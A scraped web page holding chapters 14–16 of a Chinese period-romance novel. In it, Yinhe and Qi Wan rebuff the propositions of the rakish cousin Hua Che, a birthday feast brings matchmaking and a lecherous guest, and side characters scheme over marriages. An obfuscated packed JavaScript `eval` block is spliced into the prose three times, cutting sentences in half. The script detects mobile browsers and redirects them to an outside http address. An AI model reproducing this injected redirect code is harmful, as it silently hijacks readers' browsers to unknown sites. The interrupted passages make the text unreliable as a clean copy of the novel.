戚晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16902257|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好久才说:“我知道我才薄学浅,不堪扶助。表哥不肯便罢,何必取笑。” “并非不肯,表妹开口,我不会拒绝。既然戚姑娘这样坦诚,我也不好意思啰嗦——你当真打定主意要离开,而且不愿太太过问?” “当真。不仅是我姨母,我也不想老太太生虑、姐妹们牵挂。我宁可自食其力,不愿再依靠他人的好心。” “如此的话,我确实还有个主意,正好可以不教任何人知道。先前我怕戚姑娘会不乐意——不过要帮你,我只有这一个办法。” 戚晚没吭声。银荷起初虽不情愿,渐渐却将二人对话全听进去了,此时甚至不由着急,凝神静听花澈要怎么办。 “戚姑娘才艺虽出众,但要以此谋生,却是不知其中艰辛。佳人落魄,美玉蒙尘,世间憾事莫过于是。岂能让你白白叫我‘表哥’,我怎么忍心表妹落到那般境地? “你若不愿留在这里,我另有一间居处,你可以搬去。到那儿之后尽凭你自己做主,缺了家什只管添置,要几个人伺候都随你的意。总之你不必为其它事发愁,除了见不到亲友,恐怕略寂寞些。 “不过,倒也清静,而且我得空便会去看你。” “表哥是什么意思?”戚晚的嗓音一下子变紧了,像是乐器突然断了弦。 “你没想错。”花澈平静地说。 “我,我实在不懂……”戚晚慌张地说。 “现下也不是良辰美景,何必在这里兜圈子,咱们都坦白爽快点——我的意思是你跟了我。当然太委屈你了,我会在其它事上尽量弥补。戚姑娘若不称心,有要求不妨直说。” “我从来没想过……我相信表哥是好意,可我实在无法……” “戚姑娘嫌我说话太直接?我就是这么个性子,嘴上讲不出好听的。戚姑娘别在意,只管往后瞧,等事情当真办起来,比别家的样子只会强,不会差。” “我虽贫贱,但绝非趋炎附势、卖身求荣之辈。” “戚姑娘如何还看不透?‘闲官清,丑妇贞,穷吃素,老看经。’你正值青春韶华、才貌出众,何必装那些模样,自讨苦吃呢。况且就算真如你所想,自食其力,过不得几天再看,迟早还有人提我这话。不是我抬高自家,贬损别家——他人怎样我不敢讲,至少我待人会有始终。” 戚晚没开口,花澈又接着说:“我知道戚姑娘性子傲,我绝不肯要你感恩戴德。谁也不是谁的恩主,我本人是完全敬重你的。” 终于,戚晚大声道:“表哥你误会了我。表哥应是磊落之人,我以为表哥也总该明白我是怎样为人。” 短暂的沉默后,花澈说:“戚姑娘自然不是那种人。不过你也识错了我。我不过一俗人而已,只取我所需,从不白做多余的好事。” 戚晚没再说话。一阵响动后,只听她急急走下台阶,想来是抱着琴含屈受辱地离去。花澈犹在后面喊:“戚姑娘不愿意,只当我没说,莫伤了和气。今日之事只有你我二人知道。” 银荷已是愣了许久,简直不能相信自己的耳朵。 14. 寿日 银荷立在石头后面,先是听曲,后是听谈话,站得手脚都发冷了。她并未察觉,心里想:那是他继母的外甥女,他怎么敢趁人之危?厚颜无耻! 转念又想,在花澈看来,自己还是他祖母的侄孙女呢,他可讲过丁点儿礼数?这家伙根本无法无天,趁早别理他。戚姑娘平日不大言语,心内却有计较,可惜,怎么偏偏错把花澈引为知音? 正想着,忽然头顶上一声:“妹妹还没听够?” 银荷一惊,要抬头望,同时,不由又想躲避,还没动呢,花澈的声音在身旁响起:“妹妹别慌呀,偷听便偷听罢,我又没说怪你。” 银荷确实理屈,可一口气也真咽不下去,气恼地说:“我听见琴声才来,不是有意要听你们说话。不过,犯了错我就认,我愿意当着二伯父二伯母,向戚姑娘道歉。至于三表哥那些金玉良言,听不听又有什么区别,谁还不知道吗?” 花澈道:“妹妹说得很对,犯了错该认。我这就去向二老爷二太太认错。”说完,他脸上却又显出迟疑之色,“不过,我答应了戚姑娘,不让别人知道。万一太太执意送她回家,她可会怪我?” 银荷心中鄙视,嘴上说:“三表哥放心,我不会对任何人说,我就当什么都没听见。” 花澈便马上笑开了:“我信妹妹。咱们两个,都是为听琴而来。——妹妹认为戚姑娘弹得如何?” 他这么一笑,似乎连他的话都变得真诚,他的用意都变得坦荡了。银荷不由答:“我听过的不多,戚姑娘的琴是最好的。” “是吗?我倒不觉得。本是支哀伤的曲子,怎么仿佛听出了志在必得的味道,我不大喜欢。” “三表哥大概是不喜欢姑娘有志气。” “很对。”花澈一口承认,“我确实更喜欢姑娘有手段。”他定定看着银荷,“志气谁都能有,可是手段——要有一副好相貌,还要有头脑,有胆量,这样,大概想要什么,便能得什么,你说是吗,由心妹妹?” “这我怎么知道,我可没有相貌,更不用提头脑。三表哥该问问自己,三表哥想要的,大概都得了吧?” 花澈似乎对她的讽意浑然不觉,高兴地说:“妹妹说话好不动听。”随即他又惆怅道,“我也有求而不得的。” “对了,毕竟,不是人人都想要住进三表哥的华屋呢。”银荷忍不住刺他。 “算不得遗憾——人若没些念想,日子未免太无趣。好的东西,需要拼尽全力追求,若是随随便便得来,到手也没意思。来得容易丢得快,这个道理戚姑娘明白,妹妹一定更明白。” “我可不像三表哥那样会给自己找借口、吃宽心丸。”银荷轻蔑之意溢于言表。“我只知道不该我的我不会要,管它是好是坏,有意思没意思。” “我可不像妹妹这样容易知足。——妹妹就没有渴求?” “像你那种确实没有。”银荷沉下脸,“若无别事,容我先走一步。不用三表哥屈尊陪我,又不是良辰美景。” “怎么不是?”花澈向四周一望,念起诗,“壶斟青柚,醉几里深红。沧波路,帆一片,报西风。——我好像正和妹妹乘舟胜游呢。” 正说时,一股风吹过,远近树上的叶片翻涌,哗哗如涛声一般。花澈注视银荷,银荷一对上他的双目,轻舟如箭,唰一下,千里云山便从身侧过去了。 银荷呆了一呆。 急忙说:“没想到三表哥倒也翻翻书。” 前几日,她刚得一本新出的词集,花澈所引正是其中的句子,且是她特别喜爱的几句,她真有几分诧异。 “不翻书,怎么敢和妹妹谈天?不和妹妹谈天,岂不辜负了这良辰美景?”花澈微微一笑,把话扯回来,“人人都有想要的,妹妹好像有很多心事,兴许我能帮你也未可知。” “就像你帮戚姑娘那样——我可以不必为其它事发愁?三表哥对亲戚们还真是慷慨。” “她算哪路亲戚,在我心里,只有你才是我的亲亲表妹。我不愿妹妹为任何事发愁,妹妹若肯开口,再难为的,我也愿尽力一试。” “我无德无能,当不起,不敢劳烦三表哥。——不费三表哥的工夫了。”银荷说完,便想从旁绕开。 可是花澈拦住了她。“妹妹何必妄自菲薄,我愿意为妹妹多费工夫。”他说着,将银荷横打量竖打量,“我看人一向公正,你自然比别人都强出许多。是我没想周全,怎好让妹妹先开口提,还是我来说吧,刚才的事若换作妹妹——我愿为你置更大的宅子,说不准天天去看你。” 银荷大怒,抡圆胳膊就向他脸上扇去。花澈眼睛都没眨一下,一抬臂将她腕子捏住。 “失妹妹身份了,大家千金,不作兴动不动上手打人。”见银荷拼命想要挣开,花澈笑笑松了手。 银荷将手被他握过的地方在衣服上拼命蹭着,一边说:“大家公子,总该懂些礼义廉耻!” 花澈等她抬起头,直视她的眼睛,笑道:“妹妹这又何必。我对妹妹,无一句恭维话,每个字都出自真心。我懂得的礼义廉耻,可没不许把心里话说出来。” 银荷真讨厌他那副笑吟吟的模样。“人前人后两张皮,倒好意思说甚心里话!” 花澈愈发笑得舒畅:“哪两张?妹妹在哪儿看见我别的样子?” 银荷冷笑道:“你敢不敢在老太太面前重复你那套话,敢不敢让她瞧瞧她的乖孙到底是个什么嘴脸。” “怎么不敢?”花澈稳当当说,“一字不改,我原原本本再讲一遍,当着哪个人都行。谁不想要最好的,没什么害怕承认,我从来不和自己过不去。” 银荷一时气结:“老太太能容你如此肆意妄为出口猖狂?” “当然不能。老太太这么疼妹妹,她定会狠狠教训我,给妹妹出气。而我会向妹妹道歉,我虽言语无状,但心里实在是珍重妹妹。我会求老太太做主,将妹妹许配给我。老太太见我心诚,一定答允。妹妹呢,愿不愿意?——点点头,咱们这就去见老太太。” 银荷涨红脸,快气炸了。“下辈子也休想!” “我就毫无机会?”花澈面显伤心失落之状,“果不其然,拒绝的话从妹妹嘴里说出来,要教人难受多了。” 银荷猛然醒悟自己又上了套,对这种混蛋,说一句话都多余。可是花澈好像一眼看到她心里,不待她动作,抢先一步让开路。 “先别忙把话说死。妹妹赶紧回去暖和一下吧,手凉得很。”他关切道。 银荷眼里几乎迸出火星子,恨不得把他烫焦,但她还是忍住,眼梢都没扫花澈一下,板着脸一径去了。 . 十月十八这日是老太太寿辰。 银荷早两个月便开始准备寿礼,是她亲手做的一件比甲,上面绣了大团墨菊,菊瓣条条分明,卷起如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16906377|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浪头,端地有傲霜之色。 她有一手好针线功夫,就是最顶尖的绣娘看见,也难免心生忌妒。 原来银荷天生悟性高,学什么都快,可又缺少恒心,稍有小成便自得起来,再去尝试新的,故而琴棋诗画上,在外行面前她样样拿得出手,内行却能看出离真正的精湛还差点儿。唯独女红一项,她是看作“正业”,下苦钻研过一番。 在矴州时,虽然老爷小姐都不要她做活,她始终想着由心劳累不得,自己要为她绣出最美的衣衫,故此用心学习,潜心琢磨,技艺越来越精,即便不到登峰造极的地步,也是非比寻常。 自然,她用了十二分心思给老太太做出的衣服,在寿辰这日一亮相,就让众人瞪圆了眼睛。 其实,大家也非头一日知晓,往日里,不少人因见银荷手工可爱,央她做过东西。 “不然怎么说这丫头招人疼。你这孩子,竟有这样的耐烦。”老太太将银荷搂在怀里,又正色道,“只此一次,以后可别再做了,伤了眼睛怎么好。你们姐妹玩耍归玩耍,可不许劳动由儿。”大家忙答应,老太太又要银荷再三保证不动针线,才放了心。 上寿的客人陆陆续续都到了,女客之中小辈们由瑷宁和映雪招待着在园子里玩,一些相熟的长辈太太则会多坐一会儿,陪老太太叙话。老太太却还留了银荷在身边。众位太太看银荷模样标致,大方静雅,纷纷夸赞,说的倒不全是场面话。 其中有位二品夫人薛氏是花家已故二太太的嫂子,正是花沛和花澈的亲舅母。薛夫人有个还未定亲的儿子,这时,她向旁边的人送过去一个眼神。 那位太太家里无人要娶亲,便搭讪着问起老太太曲姑娘可曾许配人家。老太太说:“我这侄孙女父亲没了不到一年,她还小,我将她看作亲孙女一般,可不舍得早早就许了人。” 薛夫人只听进未曾许配,心中更有了底,至于其它就全不理会:谁家里嫁姑娘,都得矜持些,何况老太太这般身份。不过她心里必然愿意,不然为何撇开亲孙女,单拉着侄孙女见人。 银荷听得有人提自己,登时坐不住了,老太太点点头,她就跑出来,急着去找宝屏。 曲宝屏是由心堂伯父的女儿,由心的堂妹,银荷先前见过两回。光凭她姓曲,银荷先就生出好感,何况宝屏本身又爱说爱笑、和悦可亲。宝屏还有个姐姐宝画,已经出嫁了,银荷早就盼着今日她也会来,可以见一面。 园子大,走了几步,没见到姑娘们,倒是迎面过来一位公子。他边走边左顾右盼,看见银荷,眼睛一亮,快步上前来。 银荷以为他要问路,停下说:“公子请走那边,就能出去了。” “姑娘是往哪边去。”对方嬉笑道。 银荷心想不知哪家的客人,这般无礼,冷冷说:“公子还是别在园子里乱走,撞到人不好看,请快快出去吧。” 那人疑惑地打量银荷:看她样貌服饰,是位小姐,可又没羞怯模样,也不避人;听她口声,更像是府里一位大丫环。 他试探着问:“我转得累了,想先歇歇,不知哪里能喝上一口茶?” 这时银荷也看清楚了:论长相,这人算得上翩翩公子,但再好的皮囊也显出丑陋——他涎皮赖脸,不论目光还是话音都黏黏糊糊,分明又一个葛全有。 正好犯了银荷的大忌。她心内腾地窜上一股火:“请公子随我来。” 15. 耳坠 那位公子欣喜不已,紧紧跟在银荷身后,一面说:“你是哪个屋里做事的姐姐?我瞧着你很伶俐,把你讨回去,怎样?” “等会儿你就知道了。”银荷步子迈得更急。 那人心里痒痒,管不住自己,又说:“我屋里头现在没人——有我也打发走,去了你最大。我好好待你,比在这里强上百倍。” 银荷忍不了了,开口道:“公子还是先别嚷嚷出来,看让人听见。” 那人当她终于害羞,喜滋滋说:“你不用怕,都包在我身上。甭管你主子是哪个,我一定要过来。”见跟不上银荷,他才紧跑几步,闭了嘴。 银荷只管向着僻静无人的地方走去,不一时,两人正到了上回戚晚弹琴的小山包前。她停下,扭头说:“就是这里了,公子想要喝茶,请上面走。” “你果然伶俐。”那人喜不自胜,“此处甚好,没人瞧见。” 银荷不理他,拾阶而上,抬手作势要拂头发,悄悄卸下一只耳坠来。 到了亭下,她又站住。“请公子等一等,茶马上送来。” 那人张开双臂,就来抱她。“茶不忙,不忙。” 银荷错身闪开,“我的耳坠掉了,请公子先帮我捡起来。”手向斜坡上的草丛一指。 那人胡乱看两眼:“不要紧,先来亲个嘴儿,回头我送你更好的。” 银荷强忍着恶心说:“我就喜欢这只。公子不愿,我自己去拣。” “好,好,我给你拿。”那人目光朝银荷空着的耳朵钻了一钻,“等下你可得让我帮你戴上。” 他走下坡两步,突然停住,向旁边看看。“这里不好办,下面好像有个洞,可别跌了进去。” 银荷吃了一惊。这小土山中间确实有个废弃多时的旧窖,窖口被杂草掩住大半,站在上方看不出。要是一脚踩空,会顺着半人来长的坡滑进洞里,里面也不过一人深,掉下去不至于受伤,却很难出来。 平日里就算有人来此也是走石阶,不会爬山坡,所以那洞一直丢着无人理会,只有花溯花洄将此处当成了一个玩乐的地方。银荷和兄弟两个玩过几次,得了信赖后,才被郑重告知这个“秘密”。她正想骗这人跌进去,可没料想他居然会知道。 银荷只得惊讶道:“我从来没听说,你怎么晓得,莫不是跌过?” “呵,我记得没错,就差一点儿。”他向前探脖子,得意地说,“我怎么知道,我……”一语未毕,膝头一软,一个踉跄,竟真是摔落进洞。 银荷又惊,又喜,又听洞里传来骂声:“死丫头等着,我能找到你是哪个屋里的,饶不了你。” 她顾不得疑惑,欢喜道:“不用找,我就在这儿等着你出来。” 那人气得哇哇大叫:“快去喊人!别以为我拿你没法子。你还不知道爷爷是谁,等我告诉我表兄——” “叫我?”身后有人说。银荷吓了一跳,花澈不知从哪里突然冒了出来。 “表兄快救我!”洞里那人也听到他的声音,憋足力气大喊。 花澈先朝银荷赞许地一笑,才下坡去拉他出来,一面说:“我说到处寻你不着,原是土里生了根。” 那人上来后,冲上来就要抓银荷:“你个贼丫头敢骗我。” 花澈挡住他:“舅舅正找你。快!当心他急了。” 银荷见花澈不向着他表弟,心里倒有点喜欢。又瞧见他们表兄弟站在一处,一般都是玉带锦衣的打扮,但即便那一个身上不沾土,花澈与他也仿佛云泥之别。 由此,她猛然又想到,虽然花澈是个声色犬马的风流公子,虽然他说话格外不堪入耳,奇怪的是,自己从不觉得他与葛全有相类——从没生过一丝那样念头。 三言两语打发走表弟,花澈向银荷转过笑脸:“妹妹是不是也喜欢这儿?我早就说此处风水不错,不信你只管守着,隔不了几日,准有小兔儿撞过来。” 但他也绝不是什么正派人。银荷想。 “我还不知,你是那家伙的表兄啊——”她鄙夷地拖长腔调。 “这没法由我,不然,只愿作妹妹一人的表兄。——妹妹稍站站,等他走远咱们再走。” 银荷随手一指:“我走那边,不与你同路。” 花澈碰个钉子,还只管笑:“那更方便——都到门口了,妹妹进屋坐坐,喝我一杯子茶。” 银荷才发觉,所指处正是花园的最西北角,那儿有座三层楼阁,原是老太爷的书房,后来给了花澈用,因楼高且宽敞,干脆连卧房也一并设在此。 “三表哥,今日我没空!”不等她开口,花澈学着她的语气道。“知道妹妹难为情,我来替妹妹说。——不妨事,老太太寿辰,先让她老人家高兴了,过了这几天……反正我不急,茶总是备着,妹妹愿意哪日来都行。” 银荷见他抢着替自己答话,又是乱说一通,不知该气还是笑,不过,一分笑模样却是带到了脸上。 花澈便笑得更加和煦:“妹妹不要这个,我便收着了?正好一人一只。” 他伸出手,手心托着银荷刚丢出去的耳坠。 银荷把耳坠已经忘了,也不知花澈何时捡起。“给我。”她急忙说。 可花澈并不归还,而是像把个稀罕果子不小心掉了,捡起后先得放到唇边爱惜地吹吹,又要拿手指尖仔细地拭拭,这才递到银荷面前:“干净了,妹妹戴上吧。” 见他这一番乔龙画虎花里胡哨,银荷心里又发了火,只是不好骂他,硬挤出个谢字,一掉头就走了。 今日客人多,园中的亭台楼榭里,到处安排了茶座。银荷不欲再结交京里的贵妇贵女,只问明宝屏花瑶不在,便绕开,一直走到了流萤榭。 流萤榭是湖中跨在水上的清幽小筑,只有一道长桥通去。银荷过桥,听丫环说花家姑娘全在里面,推门一望,一位盛装丽人正一边搂着花瑛,一边拉着花瑶,便是大姑娘花珍了。 问候之后,银荷仍走出来。她们姐妹重逢,自然有些笑泪的说话。银荷见了那个亲热劲儿,百感交集,忍不住就红了眼眶,怕人看出来,转过身去,假装观湖景。 正在伤心,宝屏蹑手蹑脚走到她身后,蒙住她眼睛:“猜我是谁?”不待银荷答话,她立即松了手,“哎呀,你怎么哭了。” “别嚷嚷。”银荷拉住她,擦擦眼泪,“我不过是看她们姐妹见面高兴。” 宝屏说:“我知道。我姐姐嫁人后我也常想她。” “宝画姐姐没来?” 宝屏摇头:“姐夫外派上任去了,马上启程,她也要一起走。” “这么急?”银荷还没见过宝画,有些失望,一时又问,“这次你会多住几天吧?” 宝屏又忧愁地摇摇头,银荷追问,她方悄声说:“这里面有个缘故。先前,我们太太想把我姐姐嫁给三表哥。” “他?”银荷喊叫。 宝屏忙向四周看,幸而无人。“我告诉你,你可别让人家听去。我们太太是那样想,姑祖母也有点儿愿意,不过没明着说,只是私下里问三表哥,三表哥不同意。不同意便罢,后来,我姐姐许了姐夫家,姐夫是个挺好的人,以前的事就不用提了,谁知,我们太太又异想天开……” 宝屏脸全红透了:“她想要我……我姐姐可比我美多了,又是太太生的,姑祖母也更喜欢她,这样都不成,何况我……我们太太还偏要碰运气,那时总带我过来。大概三表哥知道了,不高兴,正月里就出门了。老太太见不着孙子,心里能不气嘛,肯定怨我们太太。三表哥好容易才回来,你看,我还能多留呢?” 银荷气得都变了脸色:“你只管留,三表哥乐意出门,别回来才好。”见宝屏诧异地看她,忙又说,“为什么非看中三表哥,我看他没什么好嘛。” 宝屏连连摇头,脸又红了些:“我也没有,不不,我不是说三表哥不好,只是我绝没有……不然也不会对你说这些了,你可千万别告诉人,这事只有我一人知道——我姐姐出阁前,很是伤了一阵子心。因为打小她就常来,和几位表哥都是一起玩大的。至于我们太太么,她是看三表哥能够养家。” “三表哥?”银荷不信地叫了一声。 “我们太太是这样说。”宝屏用手在面前一划,“你看花家怎么撑得起这么大排场?” 这时候,银荷心里已经明白了:花澈口里那些风话,倒并非调戏,多一半是以为她谋划着想嫁他,故此先拿话将她吓退。 想起花澈,银荷原是三分羞七分恼,这下全成恼了,忿然道:“倘若真有姑娘能看上他,他不该额手称庆感激涕零诚惶诚恐吗,有什么好趾高气昂的。”她搂住宝屏,“别理会那些,过几天我跟姑祖母说我想你,让她接你过来玩。” 过不得一会儿,花瑛和花珍从水榭出来,向别处去了。两人进屋去找花瑶,只见她趴在桌上,脸上犹有泪痕。问起来,也是为花珍出嫁后,在婆家并非事事如意,总是不比在家做姑娘时畅快自在。 三人都怅怅的,还是宝屏先取笑:“瞎发愁什么,你们两个肯定能嫁得如意郎君。” 银荷先前从未想过嫁人之事,便有,也极模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16921286|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糊。可今天被那位太太一提,她方意识,老太太迟早会考虑她的婚事。 做花家表姑娘,是答应了由心,而今看,若能一直做表姑娘,也是自己心之所愿。可是,拿由心的名字嫁人?那可万万不行。 “我不嫁人。”她说。 “那咱俩个作伴。”宝屏立即说,又看花瑶发笑,“但是瑶姐姐肯定不愿陪我们。” 花瑶的脸染了胭脂般,跳起来:“再乱说一个字,永不睬你了。” 见她发急,宝屏闭了嘴。 坐着闲聊几句,也就到了中午,小丫环来喊她们入宴。几人往前头走,宝屏在中间,半道上侧头向两边一瞧,问:“你们怎么今天都没带耳坠?” 花瑶忙摸耳朵,呀了一声。“怎么掉了一只。” 她站住,向来路望着,另两人也去看地上,哪里寻得见。 “恐怕早就掉了。”花瑶懊恼地说,“早上蝉影给我挂的,她说这珠子贵重,别掉了,特意给我勾得紧,我嫌不舒服,自己松了松,没想到真就掉了。” 银荷和宝屏见剩下的那粒珍珠又大又滚圆,都深觉可惜,想要仔细找找,花瑶不肯:“算了,反正我也不喜欢。还不是我娘硬要我戴。” “不是说贵重吗,”宝屏道,“还能白白丢了?” “能贵重到哪去,”花瑶烦躁地说,“我娘拿来两对,另一对粉的给了戚晚表姐。” “那更不好了。”宝屏说,“你不是说你娘总夸奖她数落你吗,要是你娘发现,不更有的说了。” “那怎么办,一时也不定能找到,我们过去迟了,更惹人注意。今天这日子,万一再惊动我爹就完了。”花瑶着急起来。 只好先去吃饭。三人商量,等下午客人都走了,再把上午去过的地方,几个人分头,悄悄地找一找。 散席后,来客陆续离开。花沛正在招呼送客,有人从身后拽他,他回头一看,见是舅舅家的表弟对他挤眉弄眼,便走到一旁。“程霖,你有何事?” “表兄,我跟你打听个人。” “打听哪个?”花沛和气问道,以为他无非想要和席上推杯换盏过的人进一步结交。 “我听我娘说,你们家里有个表姑娘长得很美,果真?”程霖笑道。 “什么意思?”花沛直直瞪着他。 程霖晃晃脑袋:“没什么,我娘刚才说见到这么个姑娘,还不是想哄我娶回去,我自然要打听明白了。 “我不知道舅母说的是谁——不论是谁你我都不该议论。”花沛冷然道。 程霖满不在乎地说:“我就知道我娘准是唬人。真要有个貌美表妹,还能原封不动在表兄家留到现在。我说的是吧?”他对花沛露出心知肚明的坏笑。 花沛费了好大的劲,才忍住没有朝那张洋洋自得的脸挥上一拳。 “不过你们这儿有个小娘儿倒是绝了,只可惜被澈表哥划拉到他窝里去了。”程霖说着,忽然想起来万一别人道是他看中花澈的丫环,遭耻笑,便哼了一声,“澈表哥真能装样,还不是也收了丫头?” 花沛不答,也没将这话往心里去。 “我还忙着,不送了。”他骤然说,接着便转身,一径走到花园中。 花沛闲时和瑷宁聊起过舅舅家的事,他可太清楚舅母薛夫人心里的打算了:她这个儿子,京里出了名的不学无术、举止荒唐。薛夫人管束不住,便想尽快给他定亲,可程霖又放话,非绝色不娶。薛夫人也以为,只有娶个貌美的媳妇,才能让儿子安心守在家。 可是,先不论相貌,周围家世差不多的,谁乐意将闺女嫁个酒色之徒,而薛夫人自恃门第,自然也不肯与无名寂寂的人家结亲。 所以她看中了表妹,——虽则她父母俱不在了,总是有父祖根基,现下,又是被老太太收养。 自然,不会只薛夫人一个这么想。——即便今日没有,来日定会有张家的、李家的…… 念及此,花沛恨不得即刻去向表妹提醒一声。 午后的暖阳拂照在身上,他却感到说不出的烦闷、焦躁。 表妹要嫁,总该嫁个好人。 好人?花沛苦笑。像自己这般么,刚娶瑷宁时,他还敢说这话,可如今,他比那程霖又能强到哪儿去? 心烦意乱间,花沛不觉走至流萤榭。有个小丫环正在那儿收拾,他见了便吩咐道:“沏壶茶。” 茶煮好,花沛令小丫环出去,坐在窗前,望了湖心发起呆。 不一时,听见说:“大哥倒是会找清静。”花澈走了进来。 16. 寻物 花沛正陷在愁绪中不可自拔,打心眼里欢迎兄弟:“三弟过来坐。” 花澈欣然坐下:“喝茶?我叫人拿两壶酒来。” “改日吧,我就是为醒醒酒。桌上已喝了不少,这会儿劲上来了。”花沛说着拿起一只杯子,花澈忙拦了他,提过茶壶自己倒了茶,一面问:“大哥有什么嘱咐?” “不陪人说话了?”花沛问。下午有几位相熟多年的老夫人与老太太坐着摸牌,老太太也拉了花澈在跟前。 “大哥能躲清闲,就不许我也躲躲?老太太们聊天,我又插不进嘴,待着没趣。” 花沛知道花澈能言善道,很会在长辈太太跟前应酬敷衍,从不缺了礼数,如果他说没趣,不用问定是有谁又提起了他的亲事,惹他不痛快了。 唉,男大当婚,女大当嫁,怎怨别人要提?花沛抑住心事,笑道:“你今天又作弄程霖了?” “他向大哥告状?”花澈鄙夷道,“看他那个下作样,没一块骨头。要不是看舅舅份上,我早把他——”他眼神一冷,停住嘴。 听了这话,花沛心头一宽:老太太怎会将表妹许给程霖?哪怕老太太将来老糊涂了,程霖想娶表妹,三弟都不能答应,而三弟说话,老太太当真会听。不必愁。至于那些张家的、李家的,到时再说罢。 花沛便笑笑:“你何苦理他,让他到处说你收了个丫头。” “他这么说?”花澈露出几分感到有趣的神情,仿佛头一回发觉程霖说话挺有意思。“收个丫头怎么,败坏谁家门风了?我还娶个丫头进来呢。轮到他讲话!” 花沛自不当真,又说:“咱们久没坐一处说话了,平时倒不见你耐烦在园子里转。” “今天日子好天也好,我看看能不能邂逅哪位姑娘。”花澈半认真道。 这会儿客人都散了,花沛晓得弟弟是在开玩笑,但恰触到他自己的心事。停了一停,他笑着说:“要是看中了谁家的姑娘,回头我让你大嫂请人过来玩。” “让我想想……”花澈说。 花沛以为他会一口回绝,不料他喝着茶,若有所思,思了好一时。当然,肯定是做做样子,不曾当真考虑。最后仍旧是一句:“姑娘们都很好,不过还是算了罢。” “没有合意的?是嫌样貌不美还是不够文雅。” “大哥这么说就冤枉我了。我从不挑剔姑娘,人家各有各的优点,再说,还能轮到我挑眼不成,好姑娘哪儿会瞧上我?我还是躲远些,别自讨没趣。” 花沛知道这话更当不得真,兄弟实则挑剔得很,也不点破,无奈道:“母亲走时最放心不下你。” “我如今不是好好的?就是母亲在,也断不会烦恼这个。我又不是事事都不严肃,婚姻可是头等大事。要是我钟情一个姑娘,又错会了她的心思,——要是我叫姑娘负了,余生只得藉着酒销那无尽烦愁,那时更累大哥操心。” 花沛便默然了一阵,又说道:“你自己有主意就行,不说这些了。最近有什么新鲜事?”于是兄弟两个天南海北地说话,花沛将心中忧闷也就暂且撇到一旁。 且说今天这个日子,大太太娘家亦有人来。大太太见过子侄,叫来诗钰,数说一番后就忙着招呼大女儿去了。 送走堂兄嫂,诗钰和丫环翠儿走入园中。 诗钰愁烦道:“大哥大嫂那样子,我别想能回去了。还以为我在这儿是享了多少福呢,平时连个逛园子的工夫都没有。早知当初就让他们把我嫁了,家业不论,只要是个老实人,能过下去就行,总好过如今瞧人脸色过活。” 翠儿说:“其实当初姑娘要是和表公子……” “当初什么,”诗钰打断她,“我早就不想那事了,你要为我好就别再提。” 翠儿仍不住口:“表公子心里是有姑娘的,只可惜……要是他能早点功成名就,和姑娘不正是天造地设——” “让你别再说!”诗钰喝止她,又长叹一声,“什么表公子,不过叫他一声表兄。花家这几位才是正经的公子。” 翠儿不说话了,过会儿看诗钰一眼,又笑道:“姑娘生了这副模样就不该愁。别说姑太太家里的,就是今天来了这么些小姐,我看也全不如姑娘。” “样貌顶什么用,好看的姑娘有得是。你忘了曲姑娘和戚姑娘?我真羡慕她们。” “羡慕她们做什么。”翠儿说,“姑娘不比她们差。再说她们不也一样是在亲戚家里。” 诗钰黯然道:“我羡慕的不是她们长得美,是她们不必靠这个。她们再没有家,也比我强多了,戚姑娘有她姨母,曲姑娘更有老太太,我呢?” 翠儿不由沉默下来。两人无话,只任意乱走,对周遭景致视若无睹。突然身后传来喊叫:“你们在这里做什么?” 诗钰回身,看见是相熟的小丫环,勉强笑道:“我们转转,你做什么去?” “我可没你们这些清闲,还好多活呢。”那小丫环向诗钰眨眨眼,“我刚从流萤榭过来,大爷一个人在那儿坐着,我给大爷煮茶耽搁了工夫,得赶紧走了。” 诗钰唤住她:“我家人带了点心来,回头你过去吃,我还有样东西给你。” “好嘞!”那丫环干脆地答应。 等她跑远,翠儿啐一口:“姑娘的东西,都给了这些人。” 诗钰苦笑:“有什么办法。”她又振作起来,抚抚头发,面对翠儿,“你看我怎么样?” 翠儿仔细将她全身上下看了看,“姑娘再美也没有了。不过——真要去?” “不去怎的。好容易得着机会,横竖试一回,省得姑母骂我是涂了漆的泥人,白白浪费她一番苦心。” 翠儿撇嘴:“姑太太要真是为姑娘好,怎么不干脆亲上作亲,把姑娘给她自己儿子?” “别胡说!”诗钰急忙向四面看看,压低声音道,“以后再别讲这种话。你是这样说,姑母真当我们这样想,到时还能容我们?”她又哼一声,“哪怕姑母有那个心,我还不愿呢,——这家里,还有谁比映雪姐待我更好?” 说完话,诗钰便走到流萤榭前。她咬咬嘴唇,款摆着腰,推门而入。 屋内两人都站起身望着她。诗钰没料到还有花澈在,不由倒退了一步。“三公子。”慌忙中,她忘了该先向花沛行礼,只朝花澈屈了屈身,显得与花沛熟不拘礼般。 